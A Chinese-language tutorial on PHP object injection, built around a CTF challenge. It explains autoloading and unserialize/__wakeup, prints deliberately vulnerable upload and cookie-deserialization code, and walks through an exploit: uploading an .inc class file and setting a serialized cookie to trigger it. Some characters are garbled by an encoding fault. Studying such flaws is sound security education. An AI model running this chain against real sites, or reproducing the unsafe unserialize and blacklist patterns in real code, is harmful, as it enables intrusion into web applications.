- 相關(guān)推薦
PHP對象注入的實例分析
注入我們聽到最多的sql了,其實php注入也是黑客常用的一種辦法了,下面我們就來學習一下php注入攻擊的記錄,希望大家能夠通過此教程來做好自己網(wǎng)站安全。
1. 寫在前面
最近經(jīng)常會遇到一些比較有意思的漏洞,比如PHP反序列化漏洞,PHP對象注入。這些漏洞可能在平時很難遇到,但是在CTF以及一些CMS倒是經(jīng)常看到他們的背影。今天剛剛好手上看到了某CTF的代碼,但是并沒有獲取所有源碼,因此修改了部分代碼進行分析。
2. 自動加載
2.0 為什么要自動加載?
在面向?qū)ο缶幊讨校绦騿T經(jīng)常會編寫好類然后在一個入口文件中將它們包含進來。如果一個項目非常大,可能存在成百上千個類文件,如果一一包含進去,那么入口文件就會顯得特別大并且不利于維護。因此,PHP5提供了一種自動加載機制。
2.1 __autoload
index.php
function __autoload($classname){
$class_file = strtolower($classname).".php";
if(file_exists($class_file)){
require_once("$class_file");
}else{
echo "$class_file does not exist!";
}
}
$obj = new File();
訪問index.php,程序會嘗試實例化File類。PHP的解析器會自動調(diào)用__autoload()函數(shù)。假設當前目錄下沒有file.php,那么就會輸出 “file.php does not exist!” 并且拋出錯誤。
file.php
class File{
function __construct(){
echo "File class is instantiated";
}
}
此時訪問index.php,就會得到 “File class is instantiated” 的結(jié)果。這樣一來,自動加載機制就非常好理解了。
2.2 手動調(diào)用 spl_autoload
void spl_autoload ( string $class_name [, string $file_extensions ] )
它可以接收兩個參數(shù),第一個參數(shù)是$class_name,表示類名。第二個參數(shù)$file_extensions是可選的,表示類文件的擴展名;如果不指定的話,它將使用默認的擴展名.inc或.php。
spl_autoload首先將$class_name變?yōu)樾,然后在所有的include path中搜索$class_name.inc或$class_name.php文件(如果不指定$file_extensions參數(shù)的話),如果找到,就加載該類文件。
同樣,你可以手動使用spl_autoload(“Person”, “.class.php”)來加載Person類。實際上,它跟require/include差不多
舉個例子
spl_autoload("upload");
$F = new Upload();
這里沒有指定擴展名,那么就會在當前目錄下尋找upload.inc或者upload.php并自動加載。其實,到這里而言,和require、include相比并沒有簡單。相反,它們的功能基本是一模一樣的。
2.3 自動調(diào)用 spl_autoload
上面所說的使用手動的方式調(diào)用spl_autoload,工作量其實和require/include基本上差不多。調(diào)用spl_autoload_register()的時候,如果沒有指定欲注冊的自動裝載函數(shù),則自動注冊 autoload 的默認實現(xiàn)函數(shù)spl_autoload()。
舉個例子
spl_autoload_register();
$F = new Upload();
此時,程序會在當前路徑下自動加載upload.inc或upload.php。
3. 反序列化
字符串序列化成類之前,類必須提前聲明,否則無法反序列化。
字符串在反序列化的時候,會自動調(diào)用__wakeup()魔術(shù)方法
Object序列化格式 -> O:strlen(對象名):對象名:對象大小:{s:strlen(屬性名):屬性名:屬性值;(重復剩下的元素)}
4. 漏洞剖析
index.php
include_once "common.inc.php";
if(isset($req["act"]) && preg_match('/^[a-z0-9_]+$/is', $req["act"])) {
include_once __DIR__ . "/" . $req["act"] . ".php";
exit;
}
common.inc.php
spl_autoload_register();
error_reporting(0);
ini_set('display_errors', false);
$req = [];
foreach([$_GET, $_POST] as $global_var) {
foreach($global_var as $key => $value) {
is_string($value) && $req[$key] = addslashes($value);
}
}
$userinfo = isset($_COOKIE["userinfo"]) ? unserialize($_COOKIE["userinfo"]) : [];
upload.php
if($_FILES["attach"]["error"] == 0) {
if($_FILES["attach"]['size'] > 0 && $_FILES["attach"]['size'] < 102400) {
$typeAccepted = ["image/jpeg", "image/gif", "image/png"];
$blackext = ["php", "php5", "php3", "html", "swf", "htm"];
$filearr = pathinfo($_FILES["attach"]["name"]);
if(!in_array($_FILES["attach"]['type'], $typeAccepted)) {
exit("type error");
}
if(in_array($filearr["extension"], $blackext)) {
exit("extension error");
}
$filename = $_FILES["attach"]["name"];
if(move_uploaded_file($_FILES["attach"]["tmp_name"], $filename)) {
array_push($userinfo, $filename);
setcookie("userinfo", serialize($userinfo), time() + 60 * 60 * 24 * 30);
echo htmlspecialchars("upload success, new filename is {$filename} .");
} else {
echo "upload error!";
}
}
} else {
echo "no upload file";
}
在common.inc.php中執(zhí)行了spl_autoload_register()函數(shù),并沒有使用參數(shù)。
后綴沒有禁止.inc的類型
在common.inc.php會反序列化COOKIE中的數(shù)據(jù)
上傳目錄在當前目錄下
因此我們需要如下構(gòu)造:
上傳一個名為info.inc的文件,抓包修改MIME類型。info.inc的內(nèi)容如下所示:
class info{
function __wakeup(){
phpinfo();
}
}
修改cookie的uesrinfo字段為:O:4:”info”:0:{}
訪問index.php即可觸發(fā)phpinfo()函數(shù)。
【PHP對象注入的實例分析】相關(guān)文章:
關(guān)于PHP對象相互引用的內(nèi)存溢出實例分析09-16
關(guān)于javascript中cookie對象用法的實例分析05-20
淺析php函數(shù)的實例09-16
PHP程序面向?qū)ο蠓治鲈O計的經(jīng)驗小結(jié)10-06
PHP中curl的使用實例07-02
PHP類的使用實例講解09-20
通俗易懂php防注入代碼10-23
PHP阻止SQL注入式攻擊的方法07-10
PHP中該怎樣防止SQL注入07-16
php樹型類實例代碼08-25